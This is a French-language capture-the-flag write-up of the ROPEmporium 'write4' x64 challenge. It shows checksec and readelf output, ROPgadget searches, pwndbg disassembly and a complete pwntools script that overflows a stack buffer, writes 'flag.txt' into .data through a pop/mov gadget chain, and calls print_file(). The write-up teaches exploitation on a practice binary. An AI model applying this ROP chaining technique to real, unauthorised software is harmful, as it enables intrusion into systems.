7 minutes
🇫🇷 ROPEmporium - write4 (x64)
Note
Quatrième exo de ROPEmporium, il introduit une nouvelle méchanique et nous pousse à utiliser un nouveau type de gadget, très intéressant
Si j’ai fait des erreurs, n’hésitez pas à me contacter sur discord pour me le dire.
Si vous ne comprenez pas quelque chose, je vous invite à regarder la série dans l’ordre.
Description
On completing our usual checks for interesting strings and symbols in this binary we're confronted with the stark truth that our favourite string "/bin/cat flag.txt" is not present this time.
Although you'll see later that there are other ways around this problem, such as resolving dynamically loaded libraries and using the strings present in those, we'll stick to the challenge goal which is learning how to get data into the target process's virtual address space via the magic of ROP.
Important!
A PLT entry for a function named print_file() exists within the challenge binary, simply call it with the name of a file you wish to read (like "flag.txt") as the 1st argument.
File information
Avant de commencer à regarder dans l’executable, il faut savoir à quoi on s’attaque, on va utiliser file
pour avoir des informations sur le fichier, puis checksec
pour voir les éventuelles sécuritées avec lesquelles il a été compilé
file write4
write4: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4cbaee0791e9daa7dcc909399291b57ffaf4ecbe, not stripped
On va donc s’attaquer à un executable en 64bit, linké dynamiquement et qui n’est pas strippé
Maintenant le checksec
checksec write4
[*] '/home/conflict/ropemporium/write4_x64/write4'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Comme pour le précédent, NX est activé donc pas de shellcode, mais ce n’est pas un problème puisque la description de l’exercice nous indique exactement quoi faire
Exploitation
On va le lancer pour voir ce qu’il fait concrètement:
On voit que si on entre un nombre élevé de bytes dans l’input le programme plante (segfault
), ce qui veut dire qu’on a commencé à overwrite des registres.
Cette fois pas besoin de désassembler les fonctions puisqu’on sait exactement ce qu’il faut faire, on peut commencer à ressembler les élements nécessaires pour construire notre payload.
Commençons par regarder les sections de l’executable pour en trouver une dans laquelle on va pouvoir écrire:
readelf -S write4
There are 29 section headers, starting at offset 0x1980:
Section Headers:
<...>
[23] .data PROGBITS 0000000000601028 00001028
0000000000000010 0000000000000000 WA 0 0 8
<...>
On voit que .data
a les flags W et A qui correspondent à WRITE et ALLOCATE donc on pourra écrire dans cette sections, gardons son adresse de côté (0x00601028
)
Maintenant qu’on sait où on va écrire, il faut savoir comment on va le faire. Pour cela, on va avoir besoin de deux gadgets:
- Le premier gadget devra
pop
deux registres - Le second devra mettre la valeur de l’un dans le pointeur de l’autre
Concrètement, l’idée va être de mettre dans un premier registre l’adresse de .data
et dans un deuxième notre string "/bin/cat flag.txt"
. Ensuite, l’idée sera de mettre le string dans le pointeur du premier registre, soit dans la section .data
. Si c’est un peu flou pour l’instant, vous devriez mieux comprendre avec le code.
Regardons les gadgets présents dans le binaire avec ROPgadget:
Tout d’abord, les pop
gadgets:
ROPgadget --binary write4 | grep ": pop"
0x000000000040068c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040068e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400690 : pop r14 ; pop r15 ; ret
0x0000000000400692 : pop r15 ; ret
0x0000000000400604 : pop rbp ; jmp 0x400590
0x000000000040057b : pop rbp ; mov edi, 0x601038 ; jmp rax
0x000000000040068b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040068f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400588 : pop rbp ; ret
0x0000000000400693 : pop rdi ; ret
0x0000000000400691 : pop rsi ; pop r15 ; ret
0x000000000040068d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
On voit un pop r14 ; pop r15 ; ret
à l’adresse 0x00400690
, exactement ce qu’il nous faut
Maintenant il faut espérer qu’il existe un gadget mov
avec ces deux registres, et sans trop de contrainte
ROPgadget --binary write4 | grep ": mov"
0x000000000040061c : mov ah, 6 ; add al, bpl ; jmp 0x400621
0x00000000004005e2 : mov byte ptr [rip + 0x200a4f], 1 ; pop rbp ; ret
0x0000000000400629 : mov dword ptr [rsi], edi ; ret
0x0000000000400610 : mov eax, 0 ; pop rbp ; ret
0x0000000000400602 : mov ebp, esp ; pop rbp ; jmp 0x400590
0x000000000040057c : mov edi, 0x601038 ; jmp rax
0x0000000000400628 : mov qword ptr [r14], r15 ; ret
0x0000000000400601 : mov rbp, rsp ; pop rbp ; jmp 0x400590
On voit un mov qword ptr [r14], r15 ; ret
à l’adresse 0x00400628
, encore une fois exactement ce qu’il nous faut.
L’instruction
mov
déplace le cotenu du second registre dans le premier, en l’occurence ici, il déplace la valeur de r15 dans l’adresse dans r14 (grâce auqword ptr
)
Mais il nous manque encore un gadget! Si on regarde attentivement la description du challenge, on voit qu’il existe un fonction print_file()
qui prend en argument le nom d’un fichier. Le string qu’on va écrire dans .data
va donc être flag.txt
et plus "/bin/cat flag.txt"
.
Rappel: En 64bit, les fonctions prennent leurs arguments dans les registres
rdi
,rsi
,rdx
,rcx
… (vous pouvez trouver la liste des registres ici). Donc, en modifiantrdi
et en plaçant l’adresse de.data
dedans, la fonctionprint_file()
prendra notre string en premier argument
Nous avons donc besoin d’un pop rdi
!
ROPgadget --binary write4 | grep "pop rdi ; ret"
0x0000000000400693 : pop rdi ; ret
Parfait, il nous faut maintenant deux dernières choses: l’adresse de la fonction print_file()
et le padding nécessaire pour réecrire la sauvegarde de rip
.
Puisque PIE n’est pas activé, on peut trouver statiquement l’adresse de
print_file
, si il était activé, nous aurions dû le contourner, par exemple en trouvant la base address de l’executable
Commençons par trouver l’adresse de print_file()
avec pwndbg
:
pwndbg> info functions
All defined functions:
Non-debugging symbols:
0x00000000004004d0 _init
0x0000000000400500 pwnme@plt
0x0000000000400510 print_file@plt
0x0000000000400520 _start
0x0000000000400550 _dl_relocate_static_pie
0x0000000000400560 deregister_tm_clones
0x0000000000400590 register_tm_clones
0x00000000004005d0 __do_global_dtors_aux
0x0000000000400600 frame_dummy
0x0000000000400607 main
0x0000000000400617 usefulFunction
0x0000000000400628 usefulGadgets
0x0000000000400630 __libc_csu_init
0x00000000004006a0 __libc_csu_fini
0x00000000004006a4 _fini
Nickel, maintenant le padding:
pwndbg> disass pwnme
Dump of assembler code for function pwnme:
0x00007ffff7c008aa <+0>: push rbp
0x00007ffff7c008ab <+1>: mov rbp,rsp
0x00007ffff7c008ae <+4>: sub rsp,0x20
0x00007ffff7c008b2 <+8>: mov rax,QWORD PTR [rip+0x200727] # 0x7ffff7e00fe0
0x00007ffff7c008b9 <+15>: mov rax,QWORD PTR [rax]
0x00007ffff7c008bc <+18>: mov ecx,0x0
0x00007ffff7c008c1 <+23>: mov edx,0x2
0x00007ffff7c008c6 <+28>: mov esi,0x0
0x00007ffff7c008cb <+33>: mov rdi,rax
0x00007ffff7c008ce <+36>: call 0x7ffff7c00790 <setvbuf@plt>
0x00007ffff7c008d3 <+41>: lea rdi,[rip+0x106] # 0x7ffff7c009e0
0x00007ffff7c008da <+48>: call 0x7ffff7c00730 <puts@plt>
0x00007ffff7c008df <+53>: lea rdi,[rip+0x111] # 0x7ffff7c009f7
0x00007ffff7c008e6 <+60>: call 0x7ffff7c00730 <puts@plt>
0x00007ffff7c008eb <+65>: lea rax,[rbp-0x20]
0x00007ffff7c008ef <+69>: mov edx,0x20
0x00007ffff7c008f4 <+74>: mov esi,0x0
0x00007ffff7c008f9 <+79>: mov rdi,rax
0x00007ffff7c008fc <+82>: call 0x7ffff7c00760 <memset@plt>
0x00007ffff7c00901 <+87>: lea rdi,[rip+0xf8] # 0x7ffff7c00a00
0x00007ffff7c00908 <+94>: call 0x7ffff7c00730 <puts@plt>
0x00007ffff7c0090d <+99>: lea rdi,[rip+0x115] # 0x7ffff7c00a29
0x00007ffff7c00914 <+106>: mov eax,0x0
=> 0x00007ffff7c00919 <+111>: call 0x7ffff7c00750 <printf@plt>
0x00007ffff7c0091e <+116>: lea rax,[rbp-0x20]
0x00007ffff7c00922 <+120>: mov edx,0x200
0x00007ffff7c00927 <+125>: mov rsi,rax
0x00007ffff7c0092a <+128>: mov edi,0x0
0x00007ffff7c0092f <+133>: call 0x7ffff7c00770 <read@plt>
0x00007ffff7c00934 <+138>: lea rdi,[rip+0xf1] # 0x7ffff7c00a2c
0x00007ffff7c0093b <+145>: call 0x7ffff7c00730 <puts@plt>
0x00007ffff7c00940 <+150>: nop
0x00007ffff7c00941 <+151>: leave
0x00007ffff7c00942 <+152>: ret
End of assembler dump.
J’ai désassemblé la fonction en débuggant l’executable puisqu’elle était vide tant que le programme n’était pas lancé Pour reproduire ceci, mettez un breakpoint au début de la fonction puis avancez dans l’éxecution jusqu’au
read
, puis désassemblezpwnme
On voit que le buffer est situé à rbp-0x20
et que la fonction read
va lire 0x200
bytes d’input, ce qui est largement assez. Pour réecrire la sauvegarde de rip
, il nous faut 0x8
bytes de plus que le buffer, donc notre padding total sera de (0x20+0x8)
bytes.
Puisque je suis toujours sous Ubuntu, on peut s’attendre à des problèmes de stack alignment donc je vais ajouter un ret
juste après mon padding
Final Payload
Passons à l’exploit:
#!/usr/bin/env python3
from pwn import *
context.binary = binary = ELF("./write4")
p = process()
p.recv()
padding = b"A"*0x20
rbp = b"B"*0x8
ret = p64(0x004004e6)
pop_r14_r15 = p64(0x00400690)
data_section = p64(0x00601028)
string = b"flag.txt"
mov_ptr_r14_r15 = p64(0x00400628)
pop_rdi = p64(0x00400693)
print_file = p64(0x00400510)
payload = padding + rbp + ret
# On met l'adresse de la section .data dans r14 et notre "flag.txt" dans r15
payload += pop_r14_r15 + data_section + string
# On met la valeur de r15 dans l'endroit vers lequel pointe le contenu de r14 (càd .data)
payload += mov_ptr_r14_r15
# On met l'adresse de notre string dans rdi puis on appelle la fonction print_file()
payload += pop_rdi + data_section + print_file
p.sendline(payload)
print("Flag:",p.recvall().split(b"\n")[1].decode('utf-8'))
Puis on peut le tester pour s’assurer qu’il fonctionne:
Parfait, on a le flag!